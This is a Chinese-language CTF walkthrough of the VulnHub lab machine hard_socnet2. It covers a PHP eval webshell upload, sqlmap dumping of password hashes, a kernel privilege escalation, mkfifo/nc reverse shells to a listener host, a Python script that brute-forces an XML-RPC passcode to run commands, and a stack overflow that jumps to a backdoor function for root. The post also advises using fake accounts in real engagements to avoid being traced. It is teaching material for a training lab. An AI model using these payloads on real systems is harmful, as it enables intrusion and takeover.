暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

hard-socnet2高难度

爱婷如命一生一世 2021-12-06
1384

这次分享的靶机难度为高难度,涉及到了缓冲区溢出,逆向分析,动态调试等些漏洞技能点,终极目标拿到目标系统的最高root权限~,请做好攻坚克难的准备!

靶机下载地址:用vbox运行https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova

xmlrpc参考链接:

https://docs.python.org/zh-cn/3/library/xmlrpc.html

主机发现

利用arp-scan命令,扫描到局域网中的这台靶机的IP地址为192.168.0.63

└─# arp-scan -l  

全端口扫描

对192.168.0.63进行全端口扫描

─# nmap -p- 192.168.0.63  

发现了22,80.8000端口

针对这3个端口,对其发现服务

└─# nmap -p22,80,8000 -sV 192.168.0.63

22端口对应SSH服务

80端口对应了apche的http服务;

8000端口对应了python脚本编写的Basehttp服务;


在浏览器中查看目标靶机的8000端口里的web服务,如图所示:

返回了501的状态码(服务端错误),服务端是不接受GET请求的(默认浏览器访问是GET请求,但是该靶机的web程序是不接收GET请求的!)

HTTP-501状态码说明


当看到这个奇怪的结果,就需要利用burpsuite来改变其请求方法,观察服务端的回应情况。

HTTP请求方法图例说明

首先将kali中自带的火狐浏览器代理功能打开!


打开burp suite之后默认拦截功能是开启的,再次刷新浏览器的访问http://192.168.0.63:8000/

将拦截的内容发送至 repeater(因为默认情况下访问请求是get)

在repeater中手动修改其请求方法为POST,服务端返回状态码为500

在repeater中手动修改其请求方法为options,服务端返回状态码为501

在repeater中手动修改其请求方法为put,服务端返回状态码为501

在repeater中手动修改其请求方法delete,服务端返回状态码为501

修改请求类型的方案目前行不通.....

回到之前扫描出来的其他端口,关掉拦截功能,访问80端口。

如图所示:

看到了一个web的登录界面,用email账号和密码组合登录

不要想着用密码爆破登录,因为账号是一个email格式存在,这就造成了爆破难度非常大(不太容易找到邮件账号地址),如果用普通的账号,系统会提示错误的!


不过好在这个web登录界面存在一个注册的页面 sign up

从这个注册页面中的邮箱地址上来看,就证明了如果用密码爆破的不可能性!因为账号是一个很随意的邮箱地址(目标靶机是一个社交类的网站,因此填写好地址,个人信息等)


利用web程序开放注册的功能,注册一个账号,登录到后台页面看看有什么可以挖掘的地方。

在实际的护网,渗透测试,注册账号时请利用虚假的账号来进行防溯源。注册好之后登录,你可以发一些自己的帖子

可以看到管理员发的帖子。

注意管理员发的这个帖子中描述了一个用来监控服务器的monitor.py

目标靶机大概率存在了Python语言的运行环境,至于这个monitor.py这个脚本是否在运行也是不得而知,至少知道有一个admin的账号



接下来核实管理员这个账号的邮箱地址,点击admin字样,看看其管理员的邮箱地址格式,好进一步进行密码暴力破解,如图所示:


结果没有发现管理员的邮箱地址,无法进行密码的破解。



上传漏洞利用

继续的我信息收集,在页面中可以看到可以更改用户的头像,证明了该web程序具有上传的功能。(能否利用上传功能上传一个webshell)

现在目前的用户头像是空白的,点击浏览~

上传一个我写好的php文件,测试目标靶机是否有过滤该文件的机制

<?php eval($_POST['ant']);?>

shell.php文件位置,将这个上传到头像处。


因为是一个PHP文件,因此头像是空白的。

点击上传:

右键拷贝图片路径(所在服务器的URL地址)

拷贝出来,这就是服务端对这个图片的URL地址http://192.168.0.63/data/images/profiles/3.php

打开火狐浏览器的另外一个页签,粘贴图片的URL路径,刚才编写的这个Php文件已经被上传成功了!


回车访问,页面回显空白,开始利用蚁剑的连接功能

蚁剑上线

中国蚁剑介绍

百度云下载地址:

分为加载器和核心代码

链接:https://pan.baidu.com/s/1kCI2i9upwidF1rlYzDccgg

提取码:e060 

我这里演示的是在kali中如何安装蚁剑


上传文件后,用unzip解压出加载器和核心源码

默认kali是有unzip的

解压


我将解压后的核心源码移动加载器目录(根据自身需求)

──(root💀kali)-[/home/fengxin/桌面]

└─# mv antSword-master /home/fengxin/AntSword-Loader-v4.0.3-linux-x64


运行加载器


根据自己的需求选择一个文件运行目录

即可正常运行

若是出现以下画面,请检查是否下载了源码

------


话题转回,将这个拷贝的图片的路径利用蚁剑上传给服务端,看看有没有上传漏洞。


点解测试连接没有问题后,然后点击添加


这样的话,这条webshell链接就成功了!(上传给服务器的PHP页面是成功的,服务端并没有过滤此格式的文件)

遇到这样的链接不上情况,请检查shel.php那个文件是否写正确。

右键打开虚拟终端

目前突破了边界,只不过当前的账号身份权限为www


目标靶机漏洞扩充展示

目标靶机中,除了上传漏洞之外,还有sql注入漏洞

如图所示:我在搜索栏中,输入一个单引号尝试脱库操作!

页面就直接提示回显提示了!看到这个sql语法提示,存在了sql注入漏洞,且目标靶机使用的数据库产品就是mysql。利用sqlmap工具执行sql注入工具

出现这样的sql注入漏洞,我先打开burp拦截功能并开启浏览器代理,然后在重新提交


再次在搜索栏中任意输入一个字符


将拦截下的所有内容复制


在本地kali中,写入一个文件,我这里取名为f,将内容粘贴,这里的内容是输入栏中发往服务端的请求内容

建议在记事本中按照这样的格式调整,否则有概率出现sqlmap寻找文件不成功。

利用的是query的参数请求发动sql攻击


打开sqlmap


─# sqlmap -r f.txt -p query    

只对query这个参数,经过检测和翻译,这里选择回车跳过也可以按y


这里看翻译也是选择回车


接下来就拜托给sqlmap的所有攻击探测,在探测的过程中,sqlmap已经提示了query是脆弱的,既然有了这个漏洞,这里选择n,不在继续测试及其他。


既然有query的漏洞,我这里用└─# sqlmap -r f.txt -p query --dbs  命令查询目标靶机存在哪些数据库。

对数据库了解的朋友一看就知道socialnetwork'不是默认的数据库


利用sqlmap的命令sqlmap -r f.txt -p query -D socialnetwork --tables针对 socialnetwork这个数据库查询存在哪些表?

如图所示:

针对这些表名,我经过翻译,无非就是用户,用户联系方式,账号之间朋友关系,发文的帖子


针对users这个用户表,顾名思义,应该能查询到相关用户。

└─# sqlmap -r f.txt -p query -D socialnetwork -T users --columns    

得到了生日,邮件,昵称,家庭住址,密码,状态,位置,性别,姓氏的信息,


对之前默认网站的首页登录文件来看,需要email地址和密码,因此着重对这两个信息进行收集;

sqlmap -r f.txt -p query -D socialnetwork -T users -C user_password,user_email --dump  

针对sqlmap发现的哈希值得处理询问,这里选择yes

  


sqlmap提示是否需要破解,直接回车默认yes



利用sqlmao的内建字典来进行破解,再次按回车!


这里选择no ,不用添加后缀


经过查询结果如下:将管理员邮箱地址和密码拷贝出来

 21232f297a57a5a743894a0e4a801fc3 (admin)   admin@localhost.com 


回到web登录界面,输入管理员账号密码,别忘记关闭burp拦截和浏览器代理

 admin@localhost.com 

密码admin


验证登录成功,在管理员页面中没有发现明显漏洞。


到此为止sql注入漏洞利用完毕

--------------

想到利用sqlmap发现的用户,尝试SSH登录。

回到蚁剑上线的反弹shell页面

查看目标靶机的系统版本和内核,发现针对ubuntu系统(18.0)本地的提权漏洞方法(CVE-2021-3493)


关于这个漏洞,建议上github.com


解压


exploit.c这是是c语言编写的,需要将他发送到目标靶机用gcc编译,执行后实现目标靶机提权!


利用蚁剑的文件上传功能:


直接拖动进来

回到当前目录下,查看该文件

用gcc编译输出expo 并给执行权限。


在执行的时候发现,虽然能够正常执行,但是被退出了!

根据蚁剑报错翻译,得知蚁剑shell功能不全导致的!想办法将这个shell反弹到我的kali本地去操作


为了解决这个问题,在蚁剑中准备输入以下命令:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.0.208 3028 >/tmp/f

这段命令的意思是:利用操作系统的命令--mkfio,实现先进先出的堆栈的效果。


先监听kali本地的3028号端口

在蚁剑中输入:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.0.208 3028 >/tmp/f

这时候终端上就有了反弹的shell


为了更好的升级shell让其变得更加友好,再次输入一下命令

www-data@socnet2:/var/www/html/data/images/profiles$ python -c "import pty; pt.spawn('/bin/bash')"

执行expo的文件,到此为止提权成功!


之前描述的靶机的难度为高难度,为何这么容易就被攻破了呢?

先来看下这个靶机的发布时间,而我现在身在2021年,用今年发现的漏洞利用代码才得以实现!

具体信息链接:https://www.vulnhub.com/entry/boredhackerblog-social-network-20,455/

接下来,开始了漫长的打靶之路,我不以这个内核漏洞进行提权,打靶继续开始......

这个过程涉及以下技术点,这些技术点是很难的!


回到之前的普通身份

摒弃之前的漏洞代码,开始信息收集....

查看当前系统的密码文件,发现有个名为socnet的用户可以登录系统的账号(用于bin/bash登录)


尝试进入到socnet家目录,在该用户的家目录下发现了三个文件,其中有一个monitor.py的文件就是在web界面中管理员描述为监视服务器运行状态。

为了验证管理员描述的monitor.py这个文件已经运行的真实性,利用ps命令查看该进程!证实系统中确实存在monitor.py这个文件进行

 ps aux |grep monitor.py


因此monitor.py是已个Python文件,利用cat命令读取,接下来会对其源码分析


相关知识说明

xml-rpc在服务器端中生成一个API接口,这样服务端就可以接受来自装有xml-rpc客户端的请求方式,来提供应用交互。我查询了xml-rpc介绍


为了进一步了解rpc访问方式,我们去官方来看看它的工作原理,地址为:https://www.python.org/




从官网的python通用库标准中获取得到了部署服务端后,利用客户端来连接服务端的应用。https://docs.python.org/3/library/ 找到互联网协议和支持模块

---摘自rpc官网

就可以看到xml-rpc由客户端和服务端组成,访问方式就是服务端搭建好之后,通过客户端就可以连接服务端的应用了。



在其官方网站中可以看到rpc服务端和客户端的代码书写情况。

先观察服务端的代码情况,使用的是simple简单的模块部署服务,实现一个服务端的代码。
参考链接: https://docs.python.org/3/library/xmlrpc.server.html#module-xmlrpc.server.



为了更清楚知其原理,我这里举例直接点击客户端的模块观察其中的编码文件内容


在这段示例代码中引出了一个函数 even


示例代码模块详解

from xmlrpc.server import SimpleXMLRPCServer -- rpc服务端

导入库文件


def is_even(n): -- is_even 的函数,代表了事件 n

return n % 2 == 0 -- 当客户端触发了这个函数,

服务端将执行该代码 ↓ ↓ (具体的服务和端口,API接口)


server = SimpleXMLRPCServer(("localhost", 8000))
print("Listening on port 8000...")
server.register_function(is_even, "is_even")
server.serve_forever()


import xmlrpc.client  -- 客户端对服务端函数的调用方法

with xmlrpc.client.ServerProxy("http://localhost:8000/") as proxy:
print("3 is even: %s" % str(proxy.is_even(3)))
print("100 is even: %s" % str(proxy.is_even(100)))


在了解完rpc的基本工作原理之后,回到靶机上,看一下其web程序中的xml_rpc是如何编写的?

具体代码解释如下

#my remote server management API

import SimpleXMLRPCServer   -- 引入了一个简单的服务模块

import subprocess    -- 进程

import random   -- 引入随机数

debugging_pass = random.randint(1000,9999)   -- 变量定义debugging_pass(看名字是一个密码的意思),通过radom.radint模块生成1000到9999的随机数字(每次程序运行都会生成一个新的随机数字)。

def runcmd(cmd):   -- 定义一个runcmd的函数(运行命令)

    results=subprocess.Popen      -- 又定义一个结果results的变量,过程中包含了新的进程,启用了shell 标准的输入输出

(cmd, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)   

output = results.stdout.read() + results.stderr.read()

    return output  

def cpu():   -- 定义了cpu的变量

    return runcmd("cat /proc/cpuinfo")  --调用命令

def mem():

    return runcmd("free -m")

def disk():

    return runcmd("df -h")

def net():

    return runcmd("ip a")

def secure_cmd(cmd,passcode):   -- 定义secure_cmd函数,调用了cmd和passcode

    if passcode==debugging_pass:    -- 判断 是否等于之前那个1000-9999随机数(重点破解)

         return runcmd(cmd)     -- 判断等于结果的输出

    else:     -- 判断不等于的结果输出

        return "Wrong passcode."


server=SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000))  

-- 导致之前对目标靶机web访问请求方式的失败原因,只接受xml_rpc方式。

server.register_function(cpu)

server.register_function(mem)

server.register_function(disk)

server.register_function(net)

server.register_function(secure_cmd)


server.serve_forever()


记得我之前访问目标靶机的8000端口了吗,经过测试目标靶机的web应用程序既不接受GET请求,也不支持POST等的访问请求,到这里我终于明白了原来目标机接收的是xml_rpc的请求访问方式!

源码分析完成!


从以上代码审计结果来看,当客户端请求了服务端,服务端会调用这些函数和变量全都输出给客户端,当调用cmd ,net , disk等函数,服务端会调用正确结果回显给客户端,而唯独这个debugging_pass里的数值是什么? 需要突破他,从而达到让客户端发送的def secure_cmd(cmd,passcode): 这个函数指令成功后任发送对目标靶机的指令!

在passcode中定义范围1000-9999的任意四位数字中进行暴利破解,按照代码如果正确服务器端会执行cmd等操作,如果错误返回Wrong passcode.

在kali上先生成一个.py文件访问服务端,根据rpc官网的示例代码,将这个代码复制,最后稍微修改下这个客户端示例代码的!


因此,我需要用xml_rpc的方式写入图中的测试代码,生成一个python文件测试cpu这个函数,去推断出passcode这个随机数。

192.168.0.67是靶机的目标地址;

在kali 本机上创建一个.py的文件,这我取名为m.py


利用python脚本工具运行,在结果上来看,服务器接收了客户端查询cpu的请求,并且正确返回结果


为了测试更多的函数,这次按照我代码打印输出的3个函数


再次执行,再次可以通过这个方法,服务器会执行这样的三个函数,内存,CUP 网络的信息的一次性查询。

通过对源码的分析,明确的知道cpu这几个函数是信息是固定不变的,唯独这个secure_cmd里的passcode是不确定的,我们想要得到系统的操作命令,就必须要知道这个passcode。

通过暴利破解方式,来获取xml那个服务端的随机的4位数。

先在kali上生成一个m1.py的文件(要注意格式)

import xmlrpc.client

with xmlrpc.client.ServerProxy("http://192.168.0.67:8000/") as proxy:

    for p in range(100,10000):    #循环一个变量p

         r =  str(proxy.secure_cmd('whoami', p))    #定义r的变量,里面包含了系统命令和这个随机数的这样组合方式

         if not "Wrong" in r:  #不包含的输出显示

             print(p)

             print(r)

             break   #抄底结束

        

    如图所示:破解出了一个随机的4位数,当目标系统执行7421的数值,就会成功执行whoami的这条命令--返回的目标靶机的当前用户名,将这个7421这个值复制下来


编辑m.py文件,通过获得的随机数,让服务端执行系统指令。

编写m.py这个文件,最终通过反弹shell.

import xmlrpc.client

with xmlrpc.client.ServerProxy("http://192.168.0.67:8000/") as proxy:

    cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.0.208 3029 >/tmp/f"    #利用mkfifo的系统操作命令实现反弹shell链接

    r =str(proxy.secure_cmd(cmd, 7421))   #调用这个随机数

    print(r)



先在kali上监听3029的端口


然后执行

最终获得了一个反弹shell的链接。


好不容易拿到这个shell后门,需要将它升级的更为友好!

socnet@socnet2:~$ python -c "import pty; pty.spawn('/bin/bash')"

查看其身份socnet用户,进入到其主目录下!

看到这,就会明白了利用monitor.py这个文件中xml_rpc的API接口取得了从www用户到socknet的权限!

到达目前的进度时,还没有完成对靶机的最终攻入,因为还不是root权限,接下来需要进一步进行提权到root!

在cocnet这个家目录下的add_recprd这个文件,需要看一看

通过file文件查看add这个文件格式,得到的结果是ELF 32位的。

针对ELF文件格式可以理解成类似windows下PE的文件格式

通过对add这个文件格式查看,得到在运行时是通过运行suid,并且在文件权限中也是有这样的权限位。

观察到这,就可以明白靶机的作者的意图,在于通过这个文件的SUID权限位来进行提权(因为这个文件的属主账号是root)

按照这个现象,我的思路还是还是通过反弹shell连接,拿到root权限....


为了更详细了解add这个文件的关系,我先观察peda文件--动态调试

想到动态调试,势必会有内存溢出的漏洞,堆溢出漏洞。

利用GDB调试这个文件来跟踪其运行情况。


漏洞挖掘思路本地和远端的简单介绍


了解完漏洞挖掘的基本流程,就需要知道知道靶机中add_record有哪些数据注入点?

尝试运行add_record文件;

从图中运行的结果上来看,这就是一个数据的提交点,让输入一个员工的信息、


填上名字,年限,薪资,工作中的问题选择

我先选择这样的没有遇到工作问题的逻辑流程

输入完成后,再次查看用户家目录下的文件,发现多出了一个文件

查看该文件:记录均在里面。


再次选择执行工作中遇到了问题的业务逻辑,这里选择了1. 

给出了描述的注入接口,我写出了一个简单的描述性的信息。

看下执行过程的结果,同样发现也是被记录了。

再次查看用户的家目录里的txt文件里的内容,发现被增加了。


总结的来说,姓名,薪资,年限,工作中的是否有问题,问题描述都是数据入口点。

接下来针对这些数据入口点,来侦测是否存在内存溢出的漏洞!

gdb (动态调试程序的一个工具)以安静的模式调试add_record这个程序,进行详细跟踪了解具体的哪个数据提交过程能造成溢出等漏洞!

输入r (run运行的意思)才能被真正运行(程序按照指定的逻辑运行),不输入只是调用的意思。


当运行开始后,针对姓名这个注入点输入何种数据内容,按照业界的习惯,这里需要输入大量的字母A,来监视内存的变化(靶机内存存在缓冲区漏洞会覆盖其他寄存器位置,通过判断其他寄存器位置的数据是否都是A,最终判断这个注入的数据是否成功的溢出到其他的寄存器中)来引发程序的异常,进一步修改寄存器里的值。


利用python写入一个100-5000任意范围的A,并输出(通常这个取值范围如果足够大还没有引发,大概率说明目标不存在缓冲区溢出漏洞!)

这里,我先取值为500个A,将这些A复制。尝试500个A是否能造成当前注入点的内存溢出


在姓名注入点输入500个A后,程序退出状态,说明不存在内存溢出漏洞


既然不存在,我就简单的输入一个,继而探测下一个注入点(工作年限),再将500个A注入,结果无异常!

继续下一个注入点 (薪资)

结果无异常!

继续下个注入点(工作中是否存在问题)

结果无异常!

在选择工作中是否存在问题,选择1 的这个注入点的时候,发现了内存溢出的情况(堆栈中出现了A)

小插曲

我截图时,不小心将nc调入后台了,不要担心,经过查询,使用以下命令可调出!


在此次发现的缓冲区溢出漏洞,请初学者尤为注意EIP寄存器(保存了CPU运行下一条指定放置的内存编号)。

那么问题来了,这4个A是500个A中的第几个A呢?因为这个答案影响着溢出的临界点,就能精准的判断是多少个数值覆盖到其他寄存器中。

为了搞清楚这个问题,这4个A的位置采用加载payload的内存地址,这样一来EIP寄存器就会存入我们写的地址,CPU在运行时,就会调用EIP的信息里的地址,从而反弹shell,获得目标系统的管理权限。

为了更快的精准定位溢出的数量,我将500个A的数量锐减到200个、

首先还是打印出来,复制200个A

结果显示200个还是大,继而测试了100,还是无法精准的定位。


那么现在的数值范围可以锁定在小于100了。

利用特征字符来识别这4个A在100个字符中的那几个。

在输出的这100个字符中有这么个特征(连续的4个字符各不相同。

从而精准的判断EIP寄存器中里的字符是谁了。

将这些不同的字符复制。


再次利用gdb调用


这次的EIP寄存器结果为AHAA

其实这个AHAA在特征字符中也很好找到。

但是在实际的开发程序中,这个偏移量是非常大的!几百行甚至上万的数据让你肉眼是无法快速识别的!


辛亏有了gdb,它能识别出是哪些位置的序列。

利用pattern search,能看到EIP的偏移量是62,说明从第六十三个字符中进入到EIP寄存器中。

EIP+0 found at offset: 62


继续填写程序中描述的数据,数量只是变成了62个A。

利用python 的打印功能,将66个数输出(只不过这62个A用来占位,后面4个数值才是最后的payload用到的)还是将这些复制下来。

来证实BCDE这4个字符是否会在EIP寄存器中。

在等到描述中输入,结果EIP缓存器中写入了BCDE

EIP: 0x45444342 ('BCDE')------->这里面的内容决定了是否关键提权。

这就可以在EIP寄存器中写入我们想要的数据了。

这里需要补充说明的是

EIP: 0x45444342 ('BCDE')中45444342的意思,只不过在内存中的16进制表示是反过来看(CPU架构‘大头,小头的概念)。

45 是ascii码E  

44 是ascii码D

43 是ascii码C 

42 是ascii码B 

利用汇编代码写入EIP寄存器里从而取代BCDE,从而执行shell命令的内存地址。接下来,我们要对这个EIP寄存器的溢出漏洞进一步的挖掘!


首先查看这个程序中所用程序入口发向CPU的汇编代码情况。

gdb-peda$ disas main 这个命令的意思就是将这个add的主程序加载。

需要一定的汇编代码基础。

关于汇编代码简单的说,一个程序在执行中,CPU会给其分配很多内存地址,内存地址中携带了很多指令,程序的处理等,最后再将运算结果输出。

从这个add程序的运行来看也不列外,当我在运行这条程序时,首先弹出了欢迎页面,然后在弹出了一些指定的提示。

  

根据程序运行的各类逻辑提示,这里需要利用“下断点”的方式去了解程序的内部运作,说的直接一些,断点的意思就是程序到这个点的时候停止,不需要下一步运行。

add程序汇编功能举例

先来看下执行call的功能里的内容:

@plt是c语言的的内建函数。

fopen@plt(被调用的一个系统函数)是猜测是打开文本文件的意思。


接下来往下看,又调用了一个call的功能函数

而这个函数则调用了put,其作用是输出,配合Printf内建函数进行打印输出。


为了验证put调用函数前的内存地址,在puts之前下一个断点。

证明在这个断点之后能出现我们能够看懂的文本内容,就能判断程序流程是否正确!
将这个地址复制    0x0804873d

注意从上往下看,不要任意的去复制,否则你会理不清程序的流程逻辑。 


进行断点测试,输入break 后 添加一个 *0x0804873d 

配置断点1


继续利用gdb工具 run这个add程序,当到达这个断点时,程序会停止

接下来我们要证明程序的流程需要按s,单步向前只进行对一个cpu的指令。

如图所示:堆栈界面中出现了提示,而这些提示就是欢迎页面信息这个流程了。

在知道了printf的内建函数的意思之后,我们可以在第二个Printf之前,下一个断点,来了解这一个程序入口的意思。

复制   *0x0804877b


为了更清楚设置断点,我先删除掉之前的第一个断点

删除之后,在第二个printf前下一个断点。


下完断点之后,再次执行run命令 r

因为这个断点在欢迎页面后,所以,我们需要输入用户名之后程序才可以碰到断点,这里先输入用户名。

当到达断点时,需要按s 进行单步运行,提示工作年限的信息。



根据Print这样的提示,第一个printf一定是输出用户名了

可以去验证,将第一个Printf之前的一个程序  *0x0804874f复制


将第二断点删除,并添加这个断点

再次r 运行,这次直接运行,结果显示程序还没触及到输入用户名的断点。


按s 单步跟进,程序就一定会触及输入用户名的断点。


按c ,可以让程序提示显示到前台来

通过这样的断点测试,根据函数的调用位置已经很清楚程序的逻辑。


接下来,我们继续分析下程序的逻辑,除了put printf的内建函数,还有一个vuln 的函数,这个单词让我引起了怀疑。


在我靶机选择的网站中,有一个网站叫做vuln的,意思就是易受攻击

有了这个怀疑之后,我往下看vuln后面可是没有跟@plt的函数,说明它不是一个系统函数!而是开发者自己编写的。

为了排除这个vuln是不是系统函数,先来查看这个程序所定义的所有函数

gdb-peda$ info func

这个列表是非常大的。

仔细来看看有什么函数

看到了setuid函数,说明有些程序是调用了suid这个函数的

system函数是用来调用操作系统指令。

分析到这里说明这个add_record程序是存在调用操作系统指令的功能!

接下来的漏洞挖掘重点就是这个方向!(程序调用系统指令)

看到了vlun的函数以及backdoor

尤其是backdoor,英文翻译过来不就是后门吗?对于这个后门程序是作者故意留下来的?


既然发现这两个可以函数,就需要去了解这两个函数的包含意思。

查看vuln这个函数执行了哪些汇编指令,针对汇编指令中的各类函数,有一个strcpy@plt函数让我去查询,这个是内建函数


经过查询,对于strcpy漏洞 函数出现的原理和方式。

历史版本存在已知的漏洞。


再次查看backdoor的汇编情况,也是利用call调用了setuid的内建函数,请求完之后又调用了system内建函数(尝试执行系统的操作指令)。

接下来就需要对system这个函数进行跟踪,要确定调用了哪个系统指令,先还不能够确定!

这里就需要知道第一个ebp函数的内存起始地址,将这个内存地址写入EIP寄存器,也就意味着通过程序的正常运行描述环节(explain)的变量,通过EIP寄存器读取这个内存地址下面的所有指令,包括执行了suid和system的指令

甚至,我们在查看主程序中也能查看到执行了vuln的动作

gdb$  disas main


查看backdoor里的调用内容的内存地址。0x08048676


遵照前文所说内存地址表示的方式,需要反过来0x08047686

利用python 的拼接,调用库功能,来实现反向拼接。

为了完整的进行程序入口拼接,需要将用户名,年限,薪资等数据按照换行来输入(这我的用户名abc 年限为2 薪资为1 与遇上了工作上的问题1),并生成一个payload文件

python -c "import struct; print('abc\n2\n3\n1\n' + 'A'*62 + struct.pack('I', 0x08048676))" >payload

里面有乱码不要担心,因为是内存地址格式,导致字符不识别!

 在目标靶机中先退出gdb调试器,并输入之前的这个 命令,生成一个payload文件

python -c "import struct; print('abc\n2\n3\n1\n' + 'A'*62 + struct.pack('I', 0x08048676))" >payload

接下来,将这个payload文件一次性的输入给add_record这个程序。

再次运行gdb调试工具 

在执行过程中提示的信息很明显,新增了几个进程,并分别执行了/bin/bash /bin/dash

根据这样的提示,我们来研究下其原因

先退出gdb,然后在查看其主程序中的vuln

gdb$ disas main

0x08048834  准备在其位置中下入断点,单步跟进后,来了解vuln这个函数怎么把backdoor函数加载进来的,而backdoor函数是如何引出这两个shell的?


在vuln函数下一个断点!

下入断点之后,再次运行 r < payload 使其触发到vuln断点


单步s 跟进,重点关注堆栈和寄存器里的值

需要多次单步跟进s ,直到在堆栈中发现backdoor函数,调用了setuid

再继续往下s跟进(经过比较长的时间),可以查看到调用了system函数了

在日常的漏洞挖掘中,比如0day 漏洞,都需要经过大量的动态调试来跟踪内存地址的变化(请坚持!),当然也有对应的自动化工具来完成,这里我先不做分享!

看到这时,调试的进度需要放缓,仔细观察EAX寄存器的的位置!

到此为止,就可以明白这个漏洞产生的原因,在目标靶机中主程序add_record中有一个vuln函数(存在漏洞scrpty),

接下来,就要利用payload这个漏洞代码来触发这个程序,返回root权限!

这里获得了欢迎页面和黑屏的提示

不要紧张,直接输入ID 得到了root的身份

socnet@socnet2:~$ cat payload - | ./add_record


为了获取更加友好的shell ,这里还是利用先进先出的堆栈原理!

先监听目标靶机的3031端口

为了获取更加友好的shell ,这里还是利用先进先出的堆栈原理!

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.208 3031 >/tmp/f

最后查看,成功获得反弹shell

root目录下也没什么东西

今天的高难度,打靶到此成功

请初学者多多练习!


文章转载自爱婷如命一生一世,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论